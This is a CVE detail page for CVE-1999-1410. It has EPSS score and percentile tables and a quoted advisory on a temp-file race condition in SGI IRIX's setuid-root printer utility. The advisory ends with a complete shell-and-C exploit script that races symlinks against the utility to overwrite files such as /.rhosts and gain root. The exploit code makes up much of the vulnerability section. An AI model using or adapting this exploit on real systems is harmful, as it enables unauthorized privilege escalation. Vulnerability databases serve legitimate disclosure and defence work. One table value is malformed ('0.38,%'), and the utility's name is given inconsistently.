CVE-1999-1410 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	0.89%	–	–
2022-02-13	–	–	0.89%	–	–
2022-04-03	–	–	0.89%	–	–
2022-06-19	–	–	0.89%	–	–
2022-09-04	–	–	0.89%	–	–
2022-12-18	–	–	0.89%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.38%
2025-03-30	–	–	–	–	0.38%
2025-04-15	–	–	–	–	0.38%
2025-04-15	–	–	–	–	0.38,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	12%
2022-02-13	13%
2022-04-03	27%
2022-06-19	28%
2022-09-04	29%
2022-12-18	3%
2023-03-12	6%
2024-02-11	5%
2024-06-02	5%
2025-01-19	5%
2025-03-18	57%
2025-03-30	56%
2025-04-15	58%
2025-04-15	58%

source: https://www.securityfocus.com/bid/330/info SGI's IRIX 5.x and 6.x operating system include a utility called /usr/lib/netaddpr. This program can be used by privledged users to add network printing devices to the system. A race condition exists in this program that could allow any "privledged" user to obtain root access. The netaddpr program is shipped setuid root. As part of its execution, it creates a file in /var/tmp with the file template printersXXXXXX. Because the creation of the file and the actual opening of the file are independant events, there exists a window, during which time an attacker can replace the file with a symbolic link. By making this link point to, for instance, /.rhosts, an attacker can elevate their privledges to that of root. #!/bin/sh PROG="`basename $0`" if [ $# -ne 1 ]; then echo "Usage: $PROG <target>" exit 1 fi cat > expnetpr.c << _CREDIT_TO_ZOMO_ void main(int argc, char *argv[]) { char *template = "/var/tmp/printersXXXXXX"; char *target; int pid; target = (char *)mktemp(template); if ((pid = fork()) > 0) { sleep(3); umask(0); execl("/usr/lib/addnetpr", "addnetpr", "localhost","+", 0); } else while(1) { symlink(argv[1], target); unlink(target); } } _CREDIT_TO_ZOMO_ /bin/cc expnetpr.c -o expnetpr if [ ! -f expnetpr ]; then echo "Couldn't compile expnetpr.c, lame! \nMake sure that C compiler has been installed from the IDO" exit 1 fi while(`true`) do ./expnetpr $1& PID=$! sleep 15 ls -al $1 killall expnetpr killall addnetpr done